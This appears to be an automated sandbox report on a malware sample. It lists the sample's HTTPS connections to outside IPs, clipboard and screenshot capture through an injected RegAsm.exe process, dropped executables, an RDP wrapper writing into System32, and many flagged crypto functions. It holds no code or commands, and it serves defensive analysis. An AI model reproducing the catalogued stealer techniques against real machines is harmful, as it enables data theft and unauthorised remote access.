Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57910 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:57912 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.6:57917 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:57918 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.128.144:443 -> 192.168.2.6:57919 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:57923 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:57925 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.6:57926 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00439BD0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 11_2_00439BD0
Contains functionality to read the clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00439BD0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 11_2_00439BD0
Contains functionality to record screenshots
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow, 3_2_00411F55

System Summary
barindex
.NET source code contains very large array initializations
Source: file.exe, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 393216
Source: BGDGHJEHJJ.exe.3.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 365056
Source: 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 365056
Source: GIJEGDAKEH.exe.3.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 393216
Source: 66f5db9e54794_vfkagks[1].exe.3.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 393216
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess, 3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C57B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 3_2_6C57B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C57B8C0 rand_s,NtQueryVirtualMemory, 3_2_6C57B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C57B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 3_2_6C57B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C51F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 3_2_6C51F280
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe File created: C:\Windows\System32\rfxvmt.dll
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_02890C40 0_2_02890C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D933 3_2_0042D933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D1C3 3_2_0042D1C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041C472 3_2_0041C472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042D561 3_2_0042D561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041950A 3_2_0041950A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042DD1B 3_2_0042DD1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042CD2E 3_2_0042CD2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041B712 3_2_0041B712
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5135A0 3_2_6C5135A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C58545C 3_2_6C58545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C525440 3_2_6C525440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C555C10 3_2_6C555C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C562C10 3_2_6C562C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C58AC00 3_2_6C58AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C58542B 3_2_6C58542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C53D4D0 3_2_6C53D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5264C0 3_2_6C5264C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C556CF0 3_2_6C556CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C51D4E0 3_2_6C51D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C526C80 3_2_6C526C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5734A0 3_2_6C5734A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C57C4A0 3_2_6C57C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C53ED10 3_2_6C53ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C540512 3_2_6C540512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C52FD00 3_2_6C52FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C550DD0 3_2_6C550DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5785F0 3_2_6C5785F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C539E50 3_2_6C539E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C553E50 3_2_6C553E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C534640 3_2_6C534640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C562E4E 3_2_6C562E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C51C670 3_2_6C51C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C586E63 3_2_6C586E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C557E10 3_2_6C557E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C565600 3_2_6C565600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C579E30 3_2_6C579E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C51BEF0 3_2_6C51BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C52FEF0 3_2_6C52FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5876E3 3_2_6C5876E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C535E90 3_2_6C535E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C57E680 3_2_6C57E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C574EA0 3_2_6C574EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C557710 3_2_6C557710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C529F00 3_2_6C529F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C546FF0 3_2_6C546FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C51DFE0 3_2_6C51DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5677A0 3_2_6C5677A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C538850 3_2_6C538850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C53D850 3_2_6C53D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C55F070 3_2_6C55F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C527810 3_2_6C527810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C55B820 3_2_6C55B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C564820 3_2_6C564820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5850C7 3_2_6C5850C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C53C0E0 3_2_6C53C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5558E0 3_2_6C5558E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5460A0 3_2_6C5460A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C53A940 3_2_6C53A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C56B970 3_2_6C56B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C58B170 3_2_6C58B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C52D960 3_2_6C52D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C555190 3_2_6C555190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C572990 3_2_6C572990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C54D9B0 3_2_6C54D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C51C9A0 3_2_6C51C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C559A60 3_2_6C559A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C558AC0 3_2_6C558AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C531AF0 3_2_6C531AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C55E2F0 3_2_6C55E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C58BA90 3_2_6C58BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C52CAB0 3_2_6C52CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C582AB0 3_2_6C582AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5122A0 3_2_6C5122A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C544AA0 3_2_6C544AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C515340 3_2_6C515340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C52C370 3_2_6C52C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C55D320 3_2_6C55D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5853C8 3_2_6C5853C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C51F380 3_2_6C51F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5CAC60 3_2_6C5CAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C69AC30 3_2_6C69AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C686C00 3_2_6C686C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5BECC0 3_2_6C5BECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C61ECD0 3_2_6C61ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C68ED70 3_2_6C68ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6EAD50 3_2_6C6EAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C748D20 3_2_6C748D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C74CDC0 3_2_6C74CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5C4DB0 3_2_6C5C4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C656D90 3_2_6C656D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C65EE70 3_2_6C65EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6A0E20 3_2_6C6A0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5CAEC0 3_2_6C5CAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C660EC0 3_2_6C660EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C646E90 3_2_6C646E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C682F70 3_2_6C682F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C62EF40 3_2_6C62EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5C6F10 3_2_6C5C6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C700F20 3_2_6C700F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C69EFF0 3_2_6C69EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5C0FE0 3_2_6C5C0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C708FB0 3_2_6C708FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5CEFB0 3_2_6C5CEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C694840 3_2_6C694840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C610820 3_2_6C610820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C64A820 3_2_6C64A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6C68E0 3_2_6C6C68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5F8960 3_2_6C5F8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C616900 3_2_6C616900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6DC9E0 3_2_6C6DC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5F49F0 3_2_6C5F49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6509A0 3_2_6C6509A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C67A9A0 3_2_6C67A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6809B0 3_2_6C6809B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C63CA70 3_2_6C63CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C678A30 3_2_6C678A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C66EA00 3_2_6C66EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C63EA80 3_2_6C63EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6C6BE0 3_2_6C6C6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C660BA0 3_2_6C660BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C5D8460 3_2_6C5D8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C624420 3_2_6C624420
Source: C:\ProgramData\BGDGHJEHJJ.exe Code function: 7_2_00CA0C40 7_2_00CA0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004103A8 11_2_004103A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00447D38 11_2_00447D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00401000 11_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004480B0 11_2_004480B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00449120 11_2_00449120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040C1C0 11_2_0040C1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0042D250 11_2_0042D250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040A231 11_2_0040A231
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0044A230 11_2_0044A230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004012C7 11_2_004012C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004452E0 11_2_004452E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00415352 11_2_00415352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00407450 11_2_00407450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00405470 11_2_00405470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00409402 11_2_00409402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004404AB 11_2_004404AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0044A510 11_2_0044A510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004115B0 11_2_004115B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041D610 11_2_0041D610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00449620 11_2_00449620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040A6E0 11_2_0040A6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040B6B0 11_2_0040B6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043F700 11_2_0043F700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041E71A 11_2_0041E71A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0044B720 11_2_0044B720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004087F0 11_2_004087F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00428833 11_2_00428833
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004338C0 11_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004408E6 11_2_004408E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004038A0 11_2_004038A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00434990 11_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040ABA0 11_2_0040ABA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0042EBBC 11_2_0042EBBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00437CD0 11_2_00437CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00449D22 11_2_00449D22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00407E50 11_2_00407E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00427E6C 11_2_00427E6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00437F30 11_2_00437F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0042DFE0 11_2_0042DFE0
Source: C:\ProgramData\GIJEGDAKEH.exe Code function: 12_2_00F30C40 12_2_00F30C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203A5030 14_2_203A5030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203F8030 14_2_203F8030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2039B020 14_2_2039B020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203BD020 14_2_203BD020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20387010 14_2_20387010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20343000 14_2_20343000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2040E800 14_2_2040E800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203B2870 14_2_203B2870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20389860 14_2_20389860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203AB040 14_2_203AB040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203F5040 14_2_203F5040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203A2090 14_2_203A2090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2038E0D0 14_2_2038E0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203B1129 14_2_203B1129
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20358120 14_2_20358120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203A0110 14_2_203A0110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20344970 14_2_20344970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203C9950 14_2_203C9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20385940 14_2_20385940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203C9190 14_2_203C9190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203B69C0 14_2_203B69C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203F9A20 14_2_203F9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20349A10 14_2_20349A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203D4A60 14_2_203D4A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203CE2E0 14_2_203CE2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2039A330 14_2_2039A330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20360350 14_2_20360350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2039DB40 14_2_2039DB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203653B0 14_2_203653B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2037B3A0 14_2_2037B3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20372390 14_2_20372390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20349C20 14_2_20349C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20360C70 14_2_20360C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203AA470 14_2_203AA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_20352450 14_2_20352450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_2041CC30 14_2_2041CC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203C4440 14_2_203C4440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203A9490 14_2_203A9490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203A2CF0 14_2_203A2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 14_2_203F24C0 14_2_203F24C0
